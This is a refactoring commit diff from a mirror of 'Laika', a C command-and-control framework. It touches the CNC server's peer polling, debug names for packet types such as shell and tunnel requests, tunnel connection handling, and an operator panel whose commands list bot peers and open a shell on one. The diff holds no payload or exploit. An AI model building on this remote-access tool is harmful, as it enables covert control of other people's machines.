mirror of
https://github.com/CPunch/Laika.git
synced 2024-12-25 20:30:05 +00:00
Minor refactoring
This commit is contained in:
parent
4594e6194b
commit
3515d10b1c
@ -340,7 +340,7 @@ void laikaC_onPollFail(struct sLaika_socket *sock, void *uData) {
|
||||
|
||||
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
|
||||
struct sLaika_peer *peer;
|
||||
struct sLaika_pollEvent *evnts;
|
||||
struct sLaika_pollEvent *evnts, *evnt;
|
||||
int numEvents, i;
|
||||
|
||||
laikaP_flushOutQueue(&cnc->pList);
|
||||
@ -353,7 +353,8 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
|
||||
|
||||
/* walk through and handle each event */
|
||||
for (i = 0; i < numEvents; i++) {
|
||||
if (evnts[i].sock == &cnc->sock) { /* event on listener? */
|
||||
evnt = &evnts[i];
|
||||
if (evnt->sock == &cnc->sock) { /* event on listener? */
|
||||
peer = laikaS_newPeer(
|
||||
laikaC_botPktTbl,
|
||||
&cnc->pList,
|
||||
@ -379,9 +380,7 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
|
||||
continue;
|
||||
}
|
||||
|
||||
peer = (struct sLaika_peer*)evnts[i].sock;
|
||||
|
||||
laikaP_handleEvent(&evnts[i]);
|
||||
laikaP_handleEvent(evnt);
|
||||
}
|
||||
|
||||
laikaP_flushOutQueue(&cnc->pList);
|
||||
|
@ -25,7 +25,7 @@ enum {
|
||||
struct sLaikaB_box {
|
||||
uint8_t *data;
|
||||
uint8_t *unlockedData;
|
||||
sLaikaV_vm vm;
|
||||
struct sLaikaV_vm vm;
|
||||
};
|
||||
|
||||
inline void laikaB_unlock() {
|
||||
|
@ -121,4 +121,8 @@ enum {
|
||||
typedef uint8_t LAIKAPKT_ID;
|
||||
typedef uint16_t LAIKAPKT_SIZE;
|
||||
|
||||
#ifdef DEBUG
|
||||
const char* laikaD_getPacketName(LAIKAPKT_ID);
|
||||
#endif
|
||||
|
||||
#endif
|
26
lib/src/lpacket.c
Normal file
26
lib/src/lpacket.c
Normal file
@ -0,0 +1,26 @@
|
||||
#include "lpacket.h"
|
||||
|
||||
#ifdef DEBUG
|
||||
const char* laikaD_getPacketName(LAIKAPKT_ID id) {
|
||||
const char *PKTNAMES[] = {
|
||||
"LAIKAPKT_VARPKT",
|
||||
"LAIKAPKT_HANDSHAKE_REQ",
|
||||
"LAIKAPKT_HANDSHAKE_RES",
|
||||
"LAIKAPKT_TUNNEL_OPEN",
|
||||
"LAIKAPKT_TUNNEL_CLOSE",
|
||||
"LAIKAPKT_TUNNEL_CONNECTION_ADD",
|
||||
"LAIKAPKT_TUNNEL_CONNECTION_RMV",
|
||||
"LAIKAPKT_TUNNEL_CONNECTION_DATA",
|
||||
"LAIKAPKT_SHELL_OPEN",
|
||||
"LAIKAPKT_SHELL_CLOSE",
|
||||
"LAIKAPKT_SHELL_DATA",
|
||||
"LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ",
|
||||
"LAIKAPKT_AUTHENTICATED_ADD_PEER_RES",
|
||||
"LAIKAPKT_AUTHENTICATED_RMV_PEER_RES",
|
||||
"LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ",
|
||||
"LAIKAPKT_AUTHENTICATED_TUNNEL_OPEN_REQ"
|
||||
};
|
||||
|
||||
return id >= LAIKAPKT_MAXNONE ? "LAIKAPKT_UNKNOWN" : PKTNAMES[id];
|
||||
}
|
||||
#endif
|
@ -166,6 +166,7 @@ bool laikaS_handlePeerIn(struct sLaika_socket *sock) {
|
||||
|
||||
/* read packet ID */
|
||||
peer->pktID = laikaS_readByte(&peer->sock);
|
||||
LAIKA_DEBUG("%s", laikaD_getPacketName(peer->pktID));
|
||||
|
||||
/* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is
|
||||
also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket
|
||||
|
@ -105,6 +105,8 @@ struct sLaika_tunnelConnection *laikaT_newConnection(struct sLaika_tunnel *tunne
|
||||
NULL
|
||||
);
|
||||
|
||||
laikaS_setNonBlock(&con->sock);
|
||||
|
||||
con->tunnel = tunnel;
|
||||
con->next = NULL;
|
||||
con->id = id;
|
||||
@ -135,7 +137,7 @@ void laikaT_freeConnection(struct sLaika_tunnelConnection *connection) {
|
||||
/* unlink from list */
|
||||
last->next = connection->next;
|
||||
} else { /* connectionHead was NULL, or connection *was* the connectionHead. */
|
||||
tunnel->connectionHead = NULL;
|
||||
tunnel->connectionHead = connection->next;
|
||||
}
|
||||
|
||||
/* tell peer connection is removed */
|
||||
|
@ -10,6 +10,7 @@ typedef void (*shellCmdCallback)(tShell_client *client, int args, char *argc[]);
|
||||
typedef struct sShell_cmdDef {
|
||||
const char *cmd;
|
||||
const char *help;
|
||||
const char *syntax;
|
||||
shellCmdCallback callback;
|
||||
} tShell_cmdDef;
|
||||
|
||||
|
@ -132,7 +132,7 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
|
||||
shellC_handleShellData,
|
||||
0,
|
||||
true),
|
||||
true)
|
||||
};
|
||||
|
||||
/* socket event */
|
||||
@ -231,18 +231,20 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
|
||||
}
|
||||
|
||||
bool shellC_poll(tShell_client *client, int timeout) {
|
||||
struct sLaika_pollEvent *evnt;
|
||||
int numEvents;
|
||||
struct sLaika_pollEvent *evnts, *evnt;
|
||||
int numEvents, i;
|
||||
|
||||
/* flush any events prior (eg. made by a command handler) */
|
||||
laikaP_flushOutQueue(&client->pList);
|
||||
evnt = laikaP_poll(&client->pList, timeout, &numEvents);
|
||||
evnts = laikaP_poll(&client->pList, timeout, &numEvents);
|
||||
|
||||
if (numEvents == 0) /* no events? timeout was reached */
|
||||
return false;
|
||||
|
||||
if (!laikaP_handleEvent(evnt))
|
||||
laikaS_kill(&client->peer->sock);
|
||||
for (i = 0; i < numEvents; i++) {
|
||||
evnt = &evnts[i];
|
||||
laikaP_handleEvent(evnt);
|
||||
}
|
||||
|
||||
/* flush any events after (eg. made by a packet handler) */
|
||||
laikaP_flushOutQueue(&client->pList);
|
||||
|
@ -8,7 +8,7 @@
|
||||
#include "lerror.h"
|
||||
|
||||
#define CMD_ERROR(...) do { \
|
||||
shellT_printf("\r%s[~]%s ", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE)); \
|
||||
PRINTTAG(TERM_BRIGHT_RED); \
|
||||
shellT_printf(__VA_ARGS__); \
|
||||
longjmp(cmdE_err, 1); \
|
||||
} while(0);
|
||||
@ -107,14 +107,14 @@ void openShellCMD(tShell_client *client, int args, char *argc[]) {
|
||||
|
||||
/* =============================================[[ Command Table ]]============================================== */
|
||||
|
||||
#define CREATECMD(_cmd, _help, _callback) ((tShell_cmdDef){.cmd = _cmd, .help = _help, .callback = _callback})
|
||||
#define CREATECMD(_cmd, _syntax, _help, _callback) ((tShell_cmdDef){.cmd = _cmd, .syntax = _syntax, .help = _help, .callback = _callback})
|
||||
|
||||
tShell_cmdDef shellS_cmds[] = {
|
||||
CREATECMD("help", "Lists avaliable commands", helpCMD),
|
||||
CREATECMD("quit", "Disconnects from CNC, closing panel", quitCMD),
|
||||
CREATECMD("list", "Lists all connected peers to CNC", listPeersCMD),
|
||||
CREATECMD("info", "Lists info on a peer", infoCMD),
|
||||
CREATECMD("shell", "Opens a shell on peer", openShellCMD),
|
||||
CREATECMD("help", "help", "Lists avaliable commands", helpCMD),
|
||||
CREATECMD("quit", "quit", "Disconnects from CNC, closing panel", quitCMD),
|
||||
CREATECMD("list", "list", "Lists all connected peers to CNC", listPeersCMD),
|
||||
CREATECMD("info", "info [PEER_ID]", "Lists info on a peer", infoCMD),
|
||||
CREATECMD("shell", "shell [PEER_ID]", "Opens a shell on peer", openShellCMD),
|
||||
};
|
||||
|
||||
#undef CREATECMD
|
||||
@ -134,11 +134,10 @@ tShell_cmdDef *shellS_findCmd(char *cmd) {
|
||||
void helpCMD(tShell_client *client, int args, char *argc[]) {
|
||||
int i;
|
||||
|
||||
shellT_printf("\n\n=== [[ Command List ]] ===\n\n");
|
||||
shellT_printf("======= [[ %sCommand List%s ]] =======\n", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellT_getForeColor(TERM_BRIGHT_WHITE));
|
||||
for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) {
|
||||
shellT_printf("%04d '%s'\t- %s\n", i, shellS_cmds[i].cmd, shellS_cmds[i].help);
|
||||
shellT_printf("'%s%s%s'\t- %s\n", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellS_cmds[i].syntax, shellT_getForeColor(TERM_BRIGHT_WHITE), shellS_cmds[i].help);
|
||||
}
|
||||
shellT_printf("\n");
|
||||
}
|
||||
|
||||
void shellS_initCmds(void) {
|
||||
|
Loading…
Reference in New Issue
Block a user